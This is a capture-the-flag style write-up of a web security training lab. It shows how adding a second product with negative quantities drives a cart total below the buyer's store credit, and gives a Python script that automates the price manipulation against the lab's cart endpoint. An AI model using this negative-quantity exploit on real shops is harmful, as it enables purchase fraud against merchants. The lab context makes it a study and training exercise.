This lab doesn't adequately validate user input. We can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, we need to buy a "Lightweight l33t leather jacket". The trick is that our store credit is only 100$ and the jacket costs 1337$.
After testing all the parameters we can notice that changing the quantityparameter at /cart(like we can see below) to a negative integer results of negating the total price, at this point we can say it's over and we can just pay the jacket but it's not the case because when we are going for the checkout there is server side validation for the total variable so it cannot be negative.
So the trick is to add the jacket to the cart ; leaving the quantity to 1 and playing with another's product's quantity variable to make the total price go down (that means keep increasing the negative number at quantity parameter till the sum of the 2 articles is lesser than 100$) then we can buy the leather jacket and solve the lab. I wrote a python script to automate this process :
import requests
from bs4 import BeautifulSoup
url = "https://0ac1003904fb95bb812c89bd00410056.web-security-academy.net/cart"
cookies = {"session": "Io8lhzy8TPHed7psXOSG3FTliorDLFGU"}
headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "Origin": "https://0af700b90426621d8527b8ae00ce0078.web-security-academy.net", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://0af700b90426621d8527b8ae00ce0078.web-security-academy.net/product?productId=3", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Priority": "u=0, i"}
# adding the leather jacket to the cart
data = {"productId": "1", "redir": "PRODUCT", "quantity": "1"}
requests.post(url, headers=headers, cookies=cookies, data=data)
# extracting the total price value from the response text
def find_total(res_txt):
soup = BeautifulSoup(res_txt, 'html.parser')
total_element = soup.find('th', string='Total:')
if total_element:
total_value = total_element.find_next('th').text.strip('$')
return float(total_value)
else:
return None
# looping till we get the total price under 100$
while True:
cart_req=requests.get(url, headers=headers, cookies=cookies)
total= find_total(cart_req.text)
if total is not None:
print(f"Total: ${total}")
if total <= 100:
print("Total is payable! go buy the Lightweight l33t leather jacket and solve the LAB.")
break
else:
data = {"productId": "3", "redir": "PRODUCT", "quantity": "-1"}
requests.post(url, headers=headers, cookies=cookies, data=data)
else:
print("Total is not found in the respond text")